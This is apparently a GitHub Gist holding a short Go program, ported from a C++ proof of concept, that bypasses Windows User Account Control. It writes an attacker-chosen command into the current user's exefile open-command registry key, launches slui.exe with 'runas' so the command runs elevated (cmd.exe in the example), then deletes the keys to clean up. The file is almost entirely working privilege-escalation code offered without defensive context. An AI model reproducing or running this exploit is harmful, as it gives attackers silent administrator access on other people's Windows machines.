Last active
March 16, 2023 02:21
-
-
Save lesnuages/30a45ca9a553d09154970c9ab160c3fe to your computer and use it in GitHub Desktop.
slui.exe UAC bypass Go implementation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// UAC bypass ported from https://github.com/bytecode77/slui-file-handler-hijack-privilege-escalation/blob/master/SluiFileHandlerHijackLPE/SluiFileHandlerHijackLPE.cpp | |
package main | |
import ( | |
"syscall" | |
"time" | |
"unsafe" | |
"golang.org/x/sys/windows/registry" | |
) | |
func createRegistryKey(keyPath string) error { | |
_, _, err := registry.CreateKey(registry.CURRENT_USER, keyPath, registry.SET_VALUE|registry.QUERY_VALUE) | |
if err != nil { | |
return err | |
} | |
return nil | |
} | |
func deleteRegistryKey(keyPath, keyName string) (err error) { | |
key, err := registry.OpenKey(registry.CURRENT_USER, keyPath, registry.QUERY_VALUE|registry.SET_VALUE) | |
if err != nil { | |
return | |
} | |
err = registry.DeleteKey(key, keyName) | |
return | |
} | |
func bypassUAC(command string) (err error) { | |
regKeyStr := `Software\Classes\exefile\shell\open\command` | |
createRegistryKey(regKeyStr) | |
key, err := registry.OpenKey(registry.CURRENT_USER, regKeyStr, registry.SET_VALUE|registry.QUERY_VALUE) | |
if err != nil { | |
return err | |
} | |
err = key.SetStringValue("", command) | |
if err != nil { | |
return | |
} | |
shell32 := syscall.MustLoadDLL("Shell32.dll") | |
shellExecuteW := shell32.MustFindProc("ShellExecuteW") | |
runasStr, _ := syscall.UTF16PtrFromString("runas") | |
sluiStr, _ := syscall.UTF16PtrFromString("C:\\Windows\\System32\\slui.exe") | |
r1, _, err := shellExecuteW.Call(uintptr(0), uintptr(unsafe.Pointer(runasStr)), uintptr(unsafe.Pointer(sluiStr)), uintptr(0), uintptr(0), uintptr(1)) | |
if r1 < 32 { | |
return | |
} | |
// Wait for the command to trigger | |
time.Sleep(time.Second * 3) | |
// Clean up | |
deleteRegistryKey(`Software\Classes\exefile\shell\open\`, "command") | |
deleteRegistryKey(`Software\Classes\exefile\shell\`, "open") | |
return | |
} | |
func main() { | |
bypassUAC("c:\\windows\\system32\\cmd.exe") | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment